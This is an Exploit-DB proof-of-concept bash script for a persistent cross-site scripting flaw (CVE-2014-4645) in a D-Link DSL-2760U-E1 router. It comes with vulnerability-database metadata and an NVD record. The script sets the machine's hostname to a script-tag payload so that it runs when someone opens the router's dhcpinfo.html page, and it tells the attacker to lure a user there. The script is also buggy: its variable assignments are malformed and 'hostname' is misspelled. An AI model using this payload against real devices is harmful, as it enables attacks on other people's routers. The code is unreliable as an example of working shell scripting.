#!/bin/bash
# Written and discovered by Yuval tisf Nativ
# The page 'dhcpinfo.html' will list all machines connected to the network with hostname,
# IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname.
# Checks if you are root
if [ "$(id -u)" != "0" ]; then
echo "Please execute this script as root"
exit 1
fi
# You're XSS here
xss = "\"<script>alert('pwned');</script>"
# backup current hostname
currhost = `hostname`
# Bannering
echo ""
echo " D-Link Persistent XSS by tisf"
echo ""
echo "The page dhcpinfo.html is the vulnerable page."
echo "Ask the user to access it and your persistent XSS will be triggered."
echo ""
# Change hostname to XSS
sudo hosname $xss
# Restore previous hostname on exit
pause "Type any key to exit and restore your previous hostname."
sudo hostname $currhost
{"id": "EDB-ID:33822", "hash": "afc0d248e9700564e7d6c606ff325f00", "type": "exploitdb", "bulletinFamily": "exploit", "title": "D-link DSL-2760U-E1 - Persistent XSS", "description": "D-link DSL-2760U-E1 - Persistent XSS. CVE-2014-4645. Webapps exploit for hardware platform", "published": "2014-06-21T00:00:00", "modified": "2014-06-21T00:00:00", "cvss": {"score": 4.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}, "href": "https://www.exploit-db.com/exploits/33822/", "reporter": "Yuval tisf Nativ", "references": [], "cvelist": ["CVE-2014-4645"], "lastseen": "2016-02-03T19:57:59", "history": [], "viewCount": 2, "enchantments": {"score": {"value": 4.6, "vector": "NONE", "modified": "2016-02-03T19:57:59"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2014-4645"]}], "modified": "2016-02-03T19:57:59"}, "vulnersScore": 4.6}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/33822/", "sourceData": "#!/bin/bash\r\n\r\n# Written and discovered by Yuval tisf Nativ\r\n# The page 'dhcpinfo.html' will list all machines connected to the network with hostname, \r\n# IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname. \r\n\r\n# Checks if you are root\r\nif [ \"$(id -u)\" != \"0\" ]; then\r\n\techo \"Please execute this script as root\"\r\n\texit 1\r\nfi\t\r\n\r\n# You're XSS here\r\nxss = \"\\\"<script>alert('pwned');</script>\"\r\n\r\n# backup current hostname\r\ncurrhost = `hostname`\r\n\r\n# Bannering\r\necho \"\"\r\necho \"\t\tD-Link Persistent XSS by tisf\"\r\necho \"\"\r\necho \"The page dhcpinfo.html is the vulnerable page.\"\r\necho \"Ask the user to access it and your persistent XSS will be triggered.\"\r\necho \"\"\r\n\r\n# Change hostname to XSS\r\nsudo hosname $xss\r\n\r\n# Restore previous hostname on exit\r\npause \"Type any key to exit and restore your previous hostname.\"\r\nsudo hostname $currhost\r\n", "osvdbidlist": ["108356"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}
{"cve": [{"lastseen": "2019-05-29T18:13:47", "bulletinFamily": "NVD", "description": "Cross-site scripting (XSS) vulnerability in dhcpinfo.html in D-link DSL-2760U-E1 allows remote attackers to inject arbitrary web script or HTML via a hostname.", "modified": "2015-09-02T17:16:00", "id": "CVE-2014-4645", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-4645", "published": "2014-06-25T20:55:00", "title": "CVE-2014-4645", "type": "cve", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}]}
